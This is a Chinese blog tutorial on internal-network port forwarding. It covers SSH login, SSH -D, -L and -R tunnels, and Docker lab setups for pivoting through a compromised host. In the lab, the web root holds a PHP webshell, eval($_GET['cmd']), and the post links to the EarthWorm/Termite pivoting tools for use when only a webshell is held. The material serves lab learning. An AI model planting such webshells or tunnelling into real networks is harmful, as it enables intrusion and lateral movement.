Xi4or0uji's blog

内网端口转发

字数统计: 1.6k阅读时长: 7 min
2019/10/25 118 Share

前言

内网端口转发是个神奇的东西,记录一下

ssh简介

在端口转发之前先简单介绍ssh,ssh其实就是一种网络协议,用在计算机之间的加密登录,就是我们在自己的机子用ssh协议远程登录另一个机子,即使中间被截获了,还是安全的,密码并不会泄露
登录命令很简单,就是

1
2
#当本地用户与远程用户一样的时候可以缺省user,默认端口22
ssh user@host -p 2345

而ssh登录过程是这样的

1
2
3
远程主机接收到登录的请求,发送自己的公钥
用户接收公钥,加密登录密码,发过去
远程主机私钥解密密码,如果一致就允许登录

可以看到,这个过程还是很安全的,但是还有一种可能,如果有人截获了登录请求,然后冒充远程主机将伪造的公钥发给用户,用户就很难辨别是真还是假了,这就是常说的中间人攻击

口令登录

当我们第一次登陆的时候,系统会提示

1
2
3
4
$ ssh user@host
The authenticity of host '[localhost]:12313 ([127.0.0.1]:12313)' can't be established.
ECDSA key fingerprint is SHA256:h60/aYmB8xxxxxx/n/ABO5Txxxxxx5DU+oZeeKAntk.
Are you sure you want to continue connecting (yes/no)?

在第一次登陆的时候,系统会提示我们只用公钥,没有办法验证主机的真实性,确定信任这个过程并继续吗,输入yes以后系统会提示主机已经得到信任,然后就是输入密码,正确就能直接登录进去了,同时远程主机的公钥也会被保存到$HOME/.ssh/known_hosts文件中(linux系统通常为/etc/ssh/ssh_known_hosts),因此下一次登录的时候因为能找出公钥,所以会跳过警告部分

秘钥登录

就是我们自己先把公钥文件存储在远程主机上,然后远程主机发一串随机字符串,本地用私钥加密发给远程主机,主机公钥解密以后如果跟原来一样就允许登录,不需要填写密码
一般如果有秘钥文件的话会在自己的$HOME/.ssh/目录下找到一个id_rsa.pub和id_rsa文件,没有的话运行ssh-keygen去生成一个,然后再用ssh-copy-id user@host去把公钥发到远程主机上,注释远程主机/etc/ssh/sshd_config文件以下命令

1
2
3
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

重启一下ssh就能秘钥登录了

端口转发

ssh的连接是有方向的,从ssh client发去ssh serve

环境搭建

先给个简单的带内网的dockerfile,部署了两个php7.3-apache环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
version: '2'
services:
machineA:
image: php:7.3-apache
ports:
- "0.0.0.0:23333:23333"
- "0.0.0.0:12313:22"
- "0.0.0.0:12314:80"
volumes:
- ./index.php:/var/www/html/index.php
restart: always
links:
- machineB
machineB:
image: php:7.3-apache
volumes:
- ./index.php:/var/www/html/index.php
tty:
true

index.php就是一个简单的一句话木马

正向代理

假设有ABC三台主机,A请求C,B做代理,代替A访问C,将结果返回给A

这种方法操作十分简便,但是需要我们知道中间的作为跳板的B的ssh密码
先给machineA装一个openssh-server,配好账号密码

1
adduser ariel --gid 1000 --home /home/ariel

添加用户到ssh文件中,运行它远程登录

1
AllowUsers: ariel

重启一下ssh服务即可

方法一

将主机的2333端口和machineA(也就是作为中间代理的B)连接起来

1
2
3
4
C:\Users\Ariel>ssh -D 2333 ariel@*.*.*.* -p 12313
ariel@134.175.34.73's password:
...
ariel@852dde7c09b9:

这样子我们就成功地连接了A和B,再配置一下火狐的代理,因为ssh只能作为socks的代理,所以我们只配置它代理socks主机

然后就能通过B访问到内网的主机C了

方法二

本地转发还有别的方法

1
2
3
4
5
C:\Users\Ariel>ssh -L 2333:192.168.80.3:80 ariel@*.*.*.* -p 12313
ariel@134.175.34.73's password:
ariel@852dde7c09b9:~$
#也可以缺省网卡ip,这就相当于访问localhost(也就是*.*.*.*)的80端口
ssh -L 2333:localhost:80 ariel@*.*.*.* -p 12313

这样转发是将machineA(也就是B)作为跳板,将machineB(即C)的80端口的流量转发到本地的2333端口,相当于访问本地的2333端口时,就是访问machineB的服务
这个不需要设置代理,直接访问127.0.0.1:2333可以相当于访问192.168.80.3:80

方法三


上面的方法都是先要有ssh口令才能转发的,如果只有webshell,那就需要用到端口转发工具了
下载地址

1
2
旧版:http://rootkiter.com/EarthWorm/ 
新版:http://rootkiter.com/Termite/

先把文件放进去machineA,确定好系统版本执行相对应的文件

然后配置好浏览器的代理,就能访问到machineB的服务了

反向代理

这里来个反向代理

方法一


1
2
3
4
5
6
7
ssh -R 2333:192.168.80.3:80 ubuntu@*.*.*.*
ubuntu@*.*.*.*'s password:

ubuntu@VM-0-10-ubuntu:~$ curl http://127.0.0.1:2333
<code><span style="color: #000000">
<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #0<br />eval(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'cmd'</span><span style="color: #007700">]);</span>
</span>

这里是通过B去连接A,如果我们访问本地的2333端口,相当于访问192.168.80.3的80端口

方法二

这个也是有个webshell,不需要ssh口令就能连接过去
这里同样给个多级内网的环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
version: '2'
services:
machineA:
image: php:7.3-apache
ports:
- "0.0.0.0:2345:2345"
- "0.0.0.0:12311:22"
- "0.0.0.0:12312:80"
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
out_network:
ipv4_address: 10.0.20.10
innerA_network:
ipv4_address: 10.0.30.10
machineB:
image: php:7.3-apache
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
innerA_network:
ipv4_address: 10.0.30.11
innerB_network:
ipv4_address: 10.0.40.10
machineC:
image: php:7.3-apache
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
innerB_network:
ipv4_address: 10.0.40.11
innerC_network:
ipv4_address: 10.0.50.10
machineD:
image: php:7.3-apache
mem_limit: 200m
volumes:
- ./index.php:/var/www/html/index.php
restart: always
networks:
innerC_network:
ipv4_address: 10.0.50.11
innerD_network:
ipv4_address: 10.0.60.10
networks:
out_network:
ipam:
driver: default
config:
- subnet: 10.0.20.0/24
innerA_network:
ipam:
driver: default
config:
- subnet: 10.0.30.0/24
innerB_network:
ipam:
driver: default
config:
- subnet: 10.0.40.0/24
innerC_network:
ipam:
driver: default
config:
- subnet: 10.0.50.0/24
innerD_network:
ipam:
driver: default
config:
- subnet: 10.0.60.0/24

CATALOG
  1. 1. 前言
  2. 2. ssh简介
  3. 3. 端口转发